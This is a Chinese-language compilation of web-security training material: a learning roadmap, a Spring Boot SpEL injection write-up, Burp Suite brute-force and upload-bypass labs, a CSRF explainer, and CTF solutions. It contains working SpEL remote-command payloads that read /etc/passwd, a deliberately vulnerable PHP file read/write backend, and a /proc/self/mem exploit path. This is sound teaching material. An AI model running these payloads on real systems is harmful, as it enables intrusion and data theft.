相关实验--https://www.yijinglab.com/pages/CTFLaboratory.jsp
https://www.yijinglab.com/pages/CTFLaboratory.jsp
这可能是最适合萌新入门Web安全的路线规划
最近在后台经常收到粉丝问,Web安全有没有什么路线。确实,Web安全的范围实在太大,哪些先学,哪些后学,如果没有系统的路线会降低大家效率,对于刚入门的同学们来说简直就是“噩梦”。所以,这篇类似学习路线的文章,希望可以帮助刚入门的萌新们少走弯路。(文末附学习资料及工具领取)
首先我们来看看企业对Web安全工程师的岗位招聘需求是什么?
1 职位描述
对公司各类系统进行安全加固;
对公司网站、业务系统进行安全评估测试(黑盒、白盒测试)
对公司安全事件进行响应、清理后门、根据日志分析攻击途径
安全技术研究,包括安全防范技术、黑客技术等;
跟踪最新漏洞信息,进行业务产品的安全检查。
2 岗位要求
熟悉Web渗透测试方法和攻防技术,包括SQL注入、XSS跨站、CSRF伪造请求、命令执行等OWSP TOP10 安全漏洞与防御;
熟悉Linux、Windows不同平台的渗透测试,对网络安全、系统安全、应用安全有深入理解和自己的认识;
熟悉国内外安全工具,包括Kali、Linux、Metasploit、Nessus、Namp、AWVS、Burp等;
对Web安全整体有深刻理解,有一定漏洞分析和挖掘能力;
根据岗位技能需求,再来制定我们的学习路径,如下:
01 Web安全学习路径
01 HTTP基础
只有搞明白Web是什么,我们才能对Web安全进行深入研究,所以你必须了解HTTP,了解了HTTP,你就会明白安全术语的“输入输出”。黑客通过输入提交“特殊数据”,特殊数据在数据流的每个层处理,如果某个层没处理好,在输出的时候,就会出现相应层的安全问题。关于HTTP,你必须要弄明白以下知识:
HTTP/HTTPS特点、工作流程
HTTP协议(请求篇、响应篇)
了解HTML、Javascript
Get/Post区别
Cookie/Session是什么?
02 了解如下专业术语的意思
Webshell
菜刀
0day
SQL注入
上传漏洞
XSS
CSRF
一句话木马
......
03 专业黑客工具使用
熟悉如何渗透测试安全工具,掌握这些工具能大大提高你在工作的中的效率。
Vmware安装
Windows/kali虚拟机安装
Phpstudy、LAMP环境搭建漏洞靶场
Java、Python环境安装
子域名工具 Sublist3r
Sqlmap
Burpsuite
Nmap
W3af
Nessus
Appscan
AWVS
04 XSS
要研究 XSS 首先了解同源策略 ,Javascript 也要好好学习一下 ,以及HTML实体 HTML实体的10 或16进制还有Javascript 的8进制和16进制编码,最终掌握以下几种类型的XSS:
反射型 XSS:可用于钓鱼、引流、配合其他漏洞,如 CSRF 等。
存储型 XSS:攻击范围广,流量传播大,可配合其他漏洞。
DOM 型 XSS:配合,长度大小不受限制 。
05 SQL注入
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。你需要了解以下知识:
SQL 注入漏洞原理
SQL 注入漏洞对于数据安全的影响
SQL 注入漏洞的方法
常见数据库的 SQL 查询语法
MSSQL,MYSQL,ORACLE 数据库的注入方法
SQL 注入漏洞的类型:数字型注入 、字符型注入、搜索注入 、盲注(sleep注入) 、Sqlmap使用、宽字节注入
SQL 注入漏洞修复和防范方法
一些 SQL 注入漏洞检测工具的使用方法
06 文件上传漏洞
了解下开源编辑器上传都有哪些漏洞,如何绕过系统检测上传一句话木马、WAF如何查杀Webshell,你必须要掌握的一些技能点:
1.客户端检测绕过(JS 检测)
2.服务器检测绕过(目录路径检测)
3.黑名单检测
4.危险解析绕过攻击
5..htaccess 文件
6.解析调用/漏洞绕过
7.白名单检测
8.解析调用/漏洞绕过
9.服务端检测绕过-文件内容检测
10.Apache 解析漏洞
11.IIS 解析漏洞
12.Nginx 解析漏洞
07 文件包含漏洞
去学习下 include() include_once() require() require_once() fopen() readfile() 这些php函数是如何产生文件包含漏洞, 本地包含与远程包含的区别,以及利用文件包含时的一些技巧如:截断 /伪url/超长字符截断等 。
08 命令执行漏洞
PHP代码中常见的代码执行函数有:
eval(), assert(), preg_replace(), call_user_func(), call_user_func_array(),create_function(), array_map()等。
了解这些函数的作用然后些搞清楚如何造成的代码执行漏洞。
09 CSRF 跨站点请求
为什么会造成CSRF,GET型与POST型CSRF 的区别, 如何防御使用 Token防止CSRF?
010 逻辑漏洞
了解以下几类逻辑漏洞原理、危害及学会利用这几类漏洞:
信息轰炸、支付逻辑漏洞、任意密码修改、越权访问、条件竞争、任意注册、任意登录、顺序执行缺陷、URL跳转漏洞.
011 XEE(XML外部实体注入)
当允许XML引入外部实体时,通过构造恶意内容,可以导致文件读取、命令执行、内网探测等危害。
012 SSRF
了解SSRF的原理,以及SSRF的危害。
SSRF能做什么?当我们在进行Web渗透的时候是无法访问目标的内部网络的,那么这个时候就用到了SSRF漏洞,利用外网存在SSRF的Web站点可以获取如下信息。
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网Web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的Web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。
如果上述漏洞原理掌握的都差不多那么你就算入门Web安全了。
记一次Spring表达式注入
该漏洞仅影响 Spring Boot 1.2.8之前版本,Spring Boot 1.2.8版本之后已得到修补。
在spring中任何反映用户输入的Whitelabel错误页面都将会容易受到攻击。这是因为用户的输入被视做为Springs Expression Language(SpEL)。在一次测试中,我遇到了一个特殊的URL,该URL触发了spring中的Whitelabel Error页面表达式注入。
https://%3Cdomain%3E/BankDetailForm?id=abc${12*12}abc<>执行结果:
spring中的Whitelabel页面将输入的abc${12*12}abc显示为abc144abc。随后尝试执行一个id命令并显示结果。尝试了以下测试:
https://%3Cdomain%3E/BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec(%27id%27<>)}
payload:${T(java.lang.Runtime).getRuntime().exec('id')}
执行结果:
输入的表达式原样输出,对比David的文章(https://secalert.net/#cve-2016-4977),一切都显示正确,但是我仍然没有得到想要的输出。尝试了良久之后,我决定本地搭建一个Springs应用程序尝试创建相同的场景。我尝试了基本操作,{5*5}并在错误页回显出25的结果。然后尝试执行id命令,依旧没有执行。通过调试跟踪代码的堆栈信息如下:
可以清楚的看到包含id命令的单引号被URL编码。得出原因之后,大致的解决方式有两种:
1、通过在错误的代码中查找字符,然后使用substring()将字符串一个个截取来传递给exec()方法。
2、通过找到一种无需使用双引号或单引号就可以传递要执行的字符串的方法。
这里我们采用第二种方法。如果我能够找到可以输入id参数的方法,那么cat /etc/passwd也将会迎刃而解。在Java中支持嵌套函数的使用。
经过对一些Java类调试之后发现了以下内容:
java.lang.Character.toString(105)
-> prints the characer 'i'
i字符我们已经得到,那么接下来我们通过同样的方法合并字符“ d”即可,我们使用concat()方法来进行嵌套d字符,并与i字符合并。
java.lang.Character.toString(105).concat(T(java.lang.Character).toString(100))
-> prints the characters 'id'
最终得到的有效载荷如下:
https://%3Cdomain%3E/BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec(T(java<>.
lang.Character).toString(105).concat(T(java.lang.Character).toString(100)))}
执行结果如下所示:
通过getRuntime()方法执行我们传入的参数,现在,我们已经有了一个回显型的RCE,可以使用它来执行命令。接下来尝试执行cat /etc/passwd并将结果打印到Whitelabel Error页面上。这意味着对于每个字符都需要通过ASCII编码来进行传递。每个字符的传入格式如下:
concat(T(java.lang.Character).toString(<ascii value>))
由于字符过多,我们通过python脚本来实现此功能:
#!/usr/bin/env python
from __future__ import print_function
import sys
message = raw_input('Enter message to encode:')
print('Decoded string (in ASCII):\n')
for ch in message:
print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
print('\n')
要获取cat /etc/passwd命令的结果,我们通过使用IOUtils类调用toString()方法将输入流传递给此方法,并获取相应结果。
最终payload如下:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).conc
综上所述,通过Apache IOUtils库,并将cat /etc/passwd使用字符类转换为ASCII字符,将转换后的字符传递给exec()方法执行。并获得输入流,将其传递给toString()IOUtils类的方法解析。
翻译来源:http://deadpool.sh/2017/RCE-Springs/
相关实验--https://www.yijinglab.com/expc.do?ec=ECID07d9-3ccd-4c90-8a09-b980d8cd7858&pk_campaign=heetian-wemedia
Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息从而导致信息泄露的事件发生
BurpSuite实战——蚁景网安实验室学习笔记
burpsuite是一款功能强大的用于攻击web应用程序的集成平台,通常在服务器和客户端之间充当一个双向代理,用于截获通信过程中的数据包,对于截获到的包可以人为的进行修改和重放。
此BurpSuite实战主要包括两个实验:分别是使用burp进行暴力破解和Burpsuite简介及MIME上传绕过实例。
链接:https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182014112610353900001&pk_campaign=heetian-wemedia
实验一:使用burp进行暴力破解
一、实验简介
实验所属系列:web安全
实验对象:本科/专科信息安全专业
相关课程及专业:网络安全,计算机网络
实验类别:实践实验类
二、预备知识
1.Burp的工作模式:
在没有burp之前,客户端使用浏览器直接与服务器进行通信。有了burp之后,burp在客户端与服务器之间充当代理。这样,浏览器发送给服务器的请求就会被burp进行捕获,而burp和wireshark这种审计类工具相比,其强大之处在于不仅可以做审计工作,更可以对数据包进行修改并发送出去。使用了burp的结构如下图所示。
burp结构
2.暴力破解:
一般使用暴力破解都有两种原因:
● 对这个漏洞的测试,人是可以完成的,即可穷举。
●人可以完成,但是代价太大,或者太浪费时间。
正是出于这样的问题,一些软件的出现帮助人完成了这些测试,这就是暴力破解的真正好处。在业界曾经有这样的一种看法,对于暴力破解的使用都不屑一顾,因为大家觉得技术含量太低。但是,从实际的情况来看,因为用户使用弱口令情况太普遍,导致很多漏洞使用暴力破解都可以轻松拿下。
暴力破解,最有价值的地方是在对字典的构造上,这是一门技术,需要长期的经验积累。
三、实验目的
通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。在此郑重声明,本教程只做教学目的,严禁使用本教程对线上网站进行破坏攻击。
四、实验环境
服务器:windows xp sp3 ip地址:10.1.1.163
测试者:windows xp sp3 ip地址随机
五、实验步骤
步骤一:
Burp是个非常强大的web分析工具。burp在浏览器和服务器之间充当了一个双向代理。这样,就可以把用户或者服务器通信过程中产生的数据包给截获下来,让专业人员去分析。(关于Burpsuite的部分简介可以参考实验二)
本次实验,需要完成的任务如下:
●配置burp和浏览器代理,使burp能够正常运行;
●学会使用burp中的compare模块;
●学会使用burp中的repeat模块;
●学会使用burp中的intruder模块。
此实验由蚁景网安实验室平台提供了一个存在暴力破解隐患的网站。
配置burp和设置ie代理:
在预备知识中我们了解到,burp在浏览器(客户端)是以代理的方式存在。因此,如果想要我们发送的包被burp截断,就需要双方协商好一个监听端口。
首先,双击打开桌面的burp进入主界面。
1.设置burp监听端口:
选择proxy(代理),进入之后选择options。我们看到在Proxy listeners处burp为我们默认添加了一个本地8080端口处的监听项。当然,你也可以自拟一个新的监听端口,在左侧点击ADD即可设置。
2.配置浏览器的代理项:
这里以系统自带的ie为例(chrome和firefox用户可以使用代理插件进行设置)
使用win+R键打开命令窗口,输入inetcpl.cpl进入ie设置。
在连接选项卡中,选择局域网设置:
输入我们为burp指定的监听端口号:
这时候,我们就建立了基本配置。
3.测试:
在burp中打开intercept is on:
用浏览器访问:10.1.1.163/crack,我们会在burp中看到:
这表明我们已经成功的截获了来自浏览器的请求。
点击forward就可以把这个请求发送给服务器,服务器会将结果返回给浏览器中,并将响应在burp中记录下来。Drop会将这个包丢掉,即不会发送到服务器端。
步骤二:
熟悉comparer,repeater,intruder模块。
1.compare模块:
compare模块可以将不同的数据包(无论是请求包还是响应包)进行比较。
首先,我们添加一条请求到compare模块去。
在已经截取的数据包上面右键,选择send to comparer:
这时候,我们会看到在comparer模块,上下两个界面中同时多出来了一条记录:
使用同样的方法,我们在为comparer模块添加另外的一条记录:
我们打算使用1和2进行对比,在两个视图中选择1和2(顺序无所谓),然后点击右下角的compare word(bytes是指文件按照字节流来进行比对):
从图中我们可以看到,窗口标题提示了我们两个文件有多少处不同。左下角的图例告诉了我们右侧和左侧相比,哪些是添加的,哪些是修改的,哪些是删除的。非常直观。
2.repeater模块:
有时候我们需要向服务器发送多次相同的请求来测试服务器的响应。这里,我们只需要将burp截取到的请求通过右键send to repeater就可以在repeater中进行操作了。
进入到repeater之后,点击go按钮,右侧就会返回服务器的响应。
Go的次数没有限制,点击多少次go,burp就会把当前的请求页向服务器发送多少次。
使用repeater的目的是进行重放攻击测试,看服务器是否会对重放测试做出反应。
3.intruder模块:
这个模块是burp非常强势的地方,也正是我们课中说到的暴力破解主要使用的模块。
(1)同样的,在已经截获的请求页上右键,选择send to intruder。
进入intruder模块。会看到四个选项卡,分别是Target,Positions,Payloads,Options。
Target主要是设置暴力破解访问的host地址和对应的端口号:
Positions设置是选择我们要暴力破解的位置。在默认情况下,burp会自动将所有的变量都勾选上。实际操作中,我们往往是针对单一点,选择“clear$”,此时所有默认的爆破点都已经消失。
(2)用鼠标选中需要暴力破解的变量的值。然后右侧选择“add$”,这样我们就添加了一个爆破点,这个爆破点的payload位置是在两个“$”之间的部分。
Payloads设置:
选择怎样的字典或者payload,是这个模块要做的事情。Payload type下拉列表框为我们提供了常用的payload 类型,视情况选择即可。
如果你有合适的字典,在选择了payload type为simple list后,接下来你就可以在payload options中选择你要加载的字典文件,点击load即可。
有时候我们需对payload进行二次处理,比如md5加密啊,base64加密啊之类的,burp当然也考虑到了这一点。在payload processing中集成了一些常见的算法。
点击add,在弹出的窗口中就可以根据需要选择了。
Options中有关于其他细节的设置,比如攻击时使用的线程数,关于攻击的一些存储设置之类。这里就不再赘述。
步骤三:
下面尝试对密码的爆破:已知用户名,密码为50-100之间的某个数。
1.访问http://10.1.1.163/crack/,这是一个登录界面:
2.使用图中账号登录,密码任意。完成表单后提交。这时候burp会截取我们的请求:
3.在该请求页上右键选择send to repeater,我们来进行重放测试。点击go,右侧返回服务器的响应。多次go之后发现,服务器返回的长度和内容都没有发生变化,都会提示sorry:
也就是说,服务器对多次测试并没有加以限制,因此我们可以使用暴力破解了。
为了再次验证,我们在登陆界面再次输入一个不同的密码。在我们将两次请求的响应使用comparer去比对一下。(在proxy中选择子选项卡HTTP History,选择方法为post的两个历史记录,点击每一条post记录,下方会看到不同的post数据时,这应该就是我们的两次不同密码的请求记录,右键选择send to comparer(response)):
从图中我们可以发现,经过对两次不同的请求返回结果进行对比,burp为我们在左上角标出了2项不同,但都是体现在时间上,其余都相同。所以可以使用暴力破解。
4.进入到intruder之后,先点击Clear$,然后选中我们刚才填写的pas字段值,点击Add$。这样,就确定了爆破点是pas位置。
5.打开payload选项卡,payload type选择数字:
6.选择数字之后,我们填写数字范围。因为是已经暗示了密码范围,所以我们选择50到100.顺序生成,每步加1(step设置):
7.开始攻击:
8.这时候我们看到了攻击测试界面。我们重点关注payload和length,这里的length表示的是服务器的响应长度。
从理论上来分析,登陆成功和登陆失败,返回的长度应该不同,这能方便我们找出正确密码。右下角的进度条显示了我们的进度。
我们发现,在测试的50个payload中,payload为69的返回值不同与其他payload返回值。我们怀疑69就是答案。我们来观察一下。
在payload为69的request上双击,进入后选择response。浏览response,直到发现:“you got it.”
Yes,you catch the flag!成功获取密码。
六、答题
注:请在特定的环境下进行实验(如虚拟机)。切记不要对他人的网站进行实验,如造成不利影响或产生违法行为,一切后果自负。
实验二:Burpsuite简介及MIME上传绕过实例
一、实验简介
实验所属系列:web安全
实验对象:本科/专科信息安全专业
相关课程及专业:信息网络安全概论
实验时数(学分):2学时
实验类别:实践实验类
二、预备知识
1.了解burpsuite:
Burp Suite是用于攻击web应用程序的集成平台。包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP消息,持久性,认证,代理,日志,警报的可扩展的框架。
在一个工具处理HTTP请求和响应时,它可以选择调用其他任意的 Burp 工具。例如,代理记录的请求可被Intruder用来构造一个自定义的自动攻击的准则,也可被 Repeater 用来手动攻击,也可被 Scanner 用来分析漏洞,或者被 Spider(网络爬虫)用来自动搜索内容。
Burpsuite主要有如下模块/功能:
Target,显示目标站点目录结构
Proxy,是一个拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,查看,修改在两个方向上的原始数据流。
Spider,是一个应用智能感应的网络爬虫,它能完整的枚举应用程序的内容和功能。
Scanner,是一个高级工具,执行后,它能自动地发现web 应用程序的安全漏洞。
Intruder,是一个定制的高度可配置的工具,对web应用程序进行自动化攻击,如:枚举标识符,收集有用的数据,以及使用fuzzing
技术探测常规漏洞。
Repeater,是一个靠手动操作来触发单独的HTTP 请求,并分析应用程序响应的工具。
Sequencer,是一个用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。
Decoder,是一个进行手动执行或对应用程序数据者智能解码编码的工具。
Comparer,通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”。
Extender,可以让你加载Burp Suite的扩展,使用你自己的或第三方代码来扩展Burp Suit的功能。
Options,对Burp Suite的一些设置。
2.了解服务端MIME类型检测:
服务端MIME检测类型图片上传过程中http包的Content-Type是否为image/jpeg,如果是就可以成功上传。相关源代码:
可以看到红色区域中的if语句只对Content-Type和图片的大小做了判断。
三、实验目的
通过本实验了解利用Burpsuite绕过MIME上传检测的过程。
四、实验环境
服务器:win2003,IP地址:10.1.1.59:81
测试者:win7,IP地址随机
五、实验步骤
步骤一:
1.使用Burpsuite的代理功能:
访问http://10.1.1.59:81/,输入用户名:admin,密码:password,打开burpsuite,设置好浏览器代理,点击sql injection:
截获的数据包如下:
单击右键,如下图所示:
Send to XXX分别表示将截获的数据发送到各个模块,然后在各模块下进行下一步操作。
下拉菜单,点击Send to Spider切换到Spider模块下,burpsuite会自动对网站进行爬行,切换到Control选项卡下可以查看爬行的状态和设置爬行范围,Options选项卡中可以进行爬行的设置等。一段时间后切换到Target模块查看结果:
Change request method表示更改请求方式,如之前使用的GET请求,点击Change request method后为变为POST:
Don’t intercept requests表示不截获请求,比如我们选择To this host,在Intercept is on时burp也不对此主机的请求做拦截。我们就可以正常访问该网页了。
然后切换到Proxy的Options选项卡下,查看Intercept Client Requests,已增一条记录:
Do intercept下Response to this request功能可用于对服务端发送过来的信息做修改来欺骗浏览器。
如果开启URL-encode as you type表示对你输入的&,=等字符将会被URL编码替换。
2.Target模块:
这个模块下有两个选项卡,Site map主要是将爬行的站点以树形结构显示,Scope主要是用来设置范围进行过滤。
有时当我们对一个目标网址进行测试时,Site map下会出现许多不相关的网址,我们可以使用Filter来过滤,只留下目标网址:
点击Filter,勾选Show only in-scope items:
此时Site map下只剩下目标网址了:
然后我们随便点击一个目录又会出现许多功能:
点击Remove from scope,比如我此时选择css,该目录就会消失,对应的Scope选项卡下便会多出一条记录:
点击Spider this branch,burp就会对该目录进行爬行。
点击Expand branch来展开分支,其他功能不是很常用,有兴趣可以自行研究哦。
Site map选项卡右边可以看到一些请求的信息,在Host下可以选择对链接进行高亮显示,comment下可以添加注释,针对单个链接也可进行右键操作。
步骤二:
使用burpsuite上传绕过服务端MIME类型检测:
1.首先在桌面上新建一个1.txt,此处我写入“hello_world”。因为目标主机只允许我们上传jpg文件,那么我们下载就要绕过这个限制,上传一个txt文件上去:
2.打开http://10.1.1.59:81/,输入用户名:admin 密码:password,点击Upload:
3.设置好浏览器代理后,我们选择刚才创建的txt文件进行上传。此时burpsuite已经截获到了数据包,我们右击选择“send to reprater”:
4.切换到Repeater中将Content-Type后的text/plain修改为image/jpeg:
5.点击go,从右侧可看到已经上传成功,在右下方输入1.txt进行搜索刚才上传的图片:
6.关闭代理,打开搜索到的路径:
六、答题
注:请在特定的环境下进行实验(如虚拟机)。切记不要对他人的网站进行实验,如造成不利影响或产生违法行为,一切后果自负。
你的钱为什么会被转走,这篇文章告诉你答案
本篇文章内容,主要是关于CSRF。
01 什么是CSRF?
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
CSRF攻击原理如下:
■ 用户打开浏览器,访问登陆受信任的A网站
■ 在用户信息通过验证后,服务器会返回一个cookie给浏览器,用户登陆网站A成功,可以正常发送请求到网站A
■ 用户未退出网站A,在同一浏览器中,打开一个危险网站B
■ 网站B收到用户请求后,返回一些恶意代码,并发出请求要求访问网站A
■浏览器收到这些恶意代码以后,在用户不知情的情况下,利用cookie信息,向网站A发送恶意请求,网站A会根据cookie信息以用户的权限去处理该请求,导致来自网站B的恶意代码被执行。这样太过于官方,简单来说就是通过构造URL造成攻击的就是CSRF,用目标的cookie来执行我们的攻击。
02 你的钱为什么会被转走?
现在有张三和李四进行转账。
1、张三给李四100块,执行的操作是:
xxx/transfer.php?from=张三&money=100&to=李四
注意此时的张三没有把页面关闭掉。
2、黑客想把钱转给自己,执行的操作是:
xxx/transfer.php?from=张三&money=100&to=黑客
很明显会失败,这是因为张三在登录系统的时候会通过cookie,把自己的session传递给后台服务器。此时系统检查当前的session中的身份,发现不正确就拒绝了。
3、黑客继续想办法,使用不良网站诱导:
网站的连接很有颜色感,让张三欲罢不能,于是点击了诱导链接A。此时返回给黑客的信息就是:
如果此时张三刚刚给李四转完钱,并且页面还没关闭,就点击了这个链接,那么就会执行上面的操作。这是因为此时的黑客身份就是张三的信息,银行不知道以为是张三,于是接受了请求。
03 如何挖掘CSRF漏洞
CSRF用于越权操作,漏洞在有权限控制的地方,其构造URL或者get提交,都可以测一测。
黑盒
打开非静态操作的页面,抓包查看是否存在token,如果没有token,直接请求这个页面,不带referer,如果返回的数据是一样的话,那说明很有可能有CSRF漏洞了。
白盒
读代码的时候看看核心文件里有没有验证token和referer相关的代码。可以直接搜索token关键字。
使用工具——半自动检测CSRF
使用CSRFTester教程
https://www.sogou.com/link?url=DSOYnZeCC_p8qT7bQ6Ez_IrwkGJvRRLdYQYE4_vHjb03UFOatHCO_d9GQw9zhM_U
下载地址:http://www.mediafire.com/file/3j9kbyd3rtardq5/CSRFTester-1.0-src.zip/file
CTF挑战赛-蚁景网安实验室
[TOCCTF挑战赛-蚁景网安实验室逆向解析]
http://www.yijinglab.com/CTFrace.html1.逆向100
修改后缀为.apk
安卓模拟器打开,发现要求输入Password
用Android逆向助手打开,dex转jar,发现明文password
描述输入,得到flag。
2.逆向200
题目描述: pwd1_pwd2在这里插入图片描述疑似有两层密码,查壳无壳。
先求pwd1
OD打开,查字符串, 在这里插入图片描述双击“You passed level1!”,进入代码窗口。F2下断点,F9运行,程序终止,发现操作错误。
重新运行,双击上一行文本“%20s”。下断点,运行,F8单步,
程序运行,随便输入1111。F8单步,发现字符串。
求pwd2
既然下面%20s为第一层,则同理第二层为最上面的%20s,双击跟随到代码窗口。
在求出pwd1时,新出现一个API:
此为百度截图 在求pwd2时,下断点并运行,发现最后程序终止,我们无法到达想要去的函数。
………………………………………………………………………………
为复制,
AddVectoredExceptionHandler 将一个指向函数的指针作为参数,把这个函数的地址添加到已注册的异常处理程序链表中。
那么这里的int3异常会交给异常处理程序链表中第一个处理函数处理,假如调试器处理这个异常,我们就到不了那里了,所以od的设置一定要忽略所以异常,让程序或系统自己处理。
…………………………………………………………………………
重新运行程序,
004215AB处下断点,运行,输入第一层密码,F8单步,程序开始运行,随便输入密码2222.F7单步进入。
跳到401547.
f7跟进,我们可以看到作者设定的常量了,
首先判断是否到达字符串的结尾,这里作者设定的是二进制的02为结尾。
分析,将je 改成jmp,直接在cmp处下断点,不断f9,记下al中的每个字母,即为pwd2.
flag:r0b0RUlez!_w3lld0ne
西湖论剑 Flagshop 分析复现
前言
比赛时候没能做出来,其实这道题就是一道pwn题。后面与p w n师傅讨论分析EXP分析还原了解题过程。学到了很多,也希望分享给大家。
任意文件读取
抓包或者看源码就会发现有一个SSRF,但是没有权限读flag,测试发现存在一个readflag的elf文件。
读取题目全部源码:
backend.php
<?php
$offset = isset($_GET['offset']) ? $_GET['offset'] : 0;
$buffer = isset($_GET['buffer']) ? $_GET['buffer'] : "";
if (isset($_GET['writefile'])) {
$fp = fopen($_GET['writefile'], "a");
fseek($fp, $offset);
fwrite($fp, $buffer);
fclose($fp);
}
if (isset($_GET['readfile'])) {
echo file_get_contents($_GET['readfile']);
}
?>
index.php
<?php
if(!isset($_COOKIE['sandbox'])) {
$uuid = system("/var/www/html/copy");
setcookie("sandbox", $uuid);
header("Location: sandbox/".$uuid);
} else {
header("Location: sandbox/".$_COOKIE['sandbox']);
}
文件写入
◆ 从源码可以知道,这里是存在一个文件写入的问题,但是测试和对copy这个elf文件反编译发现,网站根目录是没有写入权限的。但是测试发现tmp目录是可写的。
◆ 做到这里基本没思路了。后面看了下Nul1的wp,发现这就是这道pwn题改的。(https://www.pianshen.com/article/4537767804/)
内存泄露和动态链接库
/proc/self/maps
包含了当前进程映射的内存区域以及他们的访问权限.文件格式如下:
address perms offset dev inode pathname
08048000-08056000 r-xp 00000000 03:0c 64593 /usr/sbin/gpm
08056000-08058000 rw-p 0000d000 03:0c 64593 /usr/sbin/gpm
08058000-0805b000 rwxp 00000000 00:00 0
40000000-40013000 r-xp 00000000 03:0c 4165 /lib/ld-2.2.4.so
40013000-40015000 rw-p 00012000 03:0c 4165 /lib/ld-2.2.4.so
4001f000-40135000 r-xp 00000000 03:0c 45494 /lib/libc-2.2.4.so
40135000-4013e000 rw-p 00115000 03:0c 45494 /lib/libc-2.2.4.so
4013e000-40142000 rw-p 00000000 00:00 0
bffff000-c0000000 rwxp 00000000 00:00 0
◆ 通过SSRF漏洞直接读取/proc/self/maps来泄露当前程序调用的到动态链接库和内存地址。
◆ 直接把/lib/x86_64-linux-gnu/libc-2.19.so通过SSRF读取然后下载下来,通过readelf来查看system的地址。可以得知system函数的偏移是:0x0000000000046590
◆ 我们将动态链接库的地址加上system的偏移就能计算出system函数的地址。
<?php
echo dechex(0x7ffff5f40000+0x0000000000046590);
//system函数结果:0x7ffff5f86590
?>
计算偏移
◆ 我们知道system函数的地址,我们就可以将open函数的地址替换为system函数的地址,我们在file_get_contents传入参数为系统命令实际执行的却是system函数,这样我们将readflag的结果输出到文件,或者反弹shell。这样我们下一步就是要计算open函数在二进制文件中的实际偏移,最后直接修改内存。
◆ 这里需要用到/proc/self/exe
在Linux2.2的内核及其之后,/proc/pid/exe是直接执行的二进制文件的符号链接.这个符号链接能够被取消.尝试打开这个文件就相当与打开了二进制文件,甚至可以通过重新输入/proc/pid/exe重新运行一个对应于pid的二进制文件.在一个多线程的程序中,如果主线程已经退出了,就无法访问这个符号链接.
在Linux2.0及其之前,/proc/pid/exe是指向当前进程执行的二进制文件.
同样我们之间将其搞下来,用下面脚本来计算open函数的偏移。
<?php
function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
function unp($value) {
return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
$bin = file_get_contents($bin_ver);
$e_shoff = unp(substr($bin, 0x28, 8));
$e_shentsize = unp(substr($bin, 0x3a, 2));
$e_shnum = unp(substr($bin, 0x3c, 2));
$e_shstrndx = unp(substr($bin, 0x3e, 2));
for($i = 0; $i < $e_shnum; $i += 1) {
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
if($sh_type == 11) { // SHT_DYNSYM
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
}
elseif($rela && $sh_type == 4) { // SHT_RELA
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
}
if($rela) {
for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
$r_offset = unp(substr($bin, $i, 8));
$r_info = unp(substr($bin, $i + 8, 8)) >> 32;
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == 'open') {
return $r_offset;
}
}
}
else {
for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
$name_off = unp(substr($bin, $i, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == '__libc_system') {
$system_offset = unp(substr($bin, $i + 8, 8));
}
if($name == '__open') {
$open_offset = unp(substr($bin, $i + 8, 8));
}
}
return array($system_offset, $open_offset);
}
}
$open_php = parseelf('exe', true);
//$maps = file_get_contents('lib.txt');
//$pie_base =(hexdec(explode('-', $maps)[0]));
echo $open_php;
//结果:15333784
?>
修改进程内存
/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。
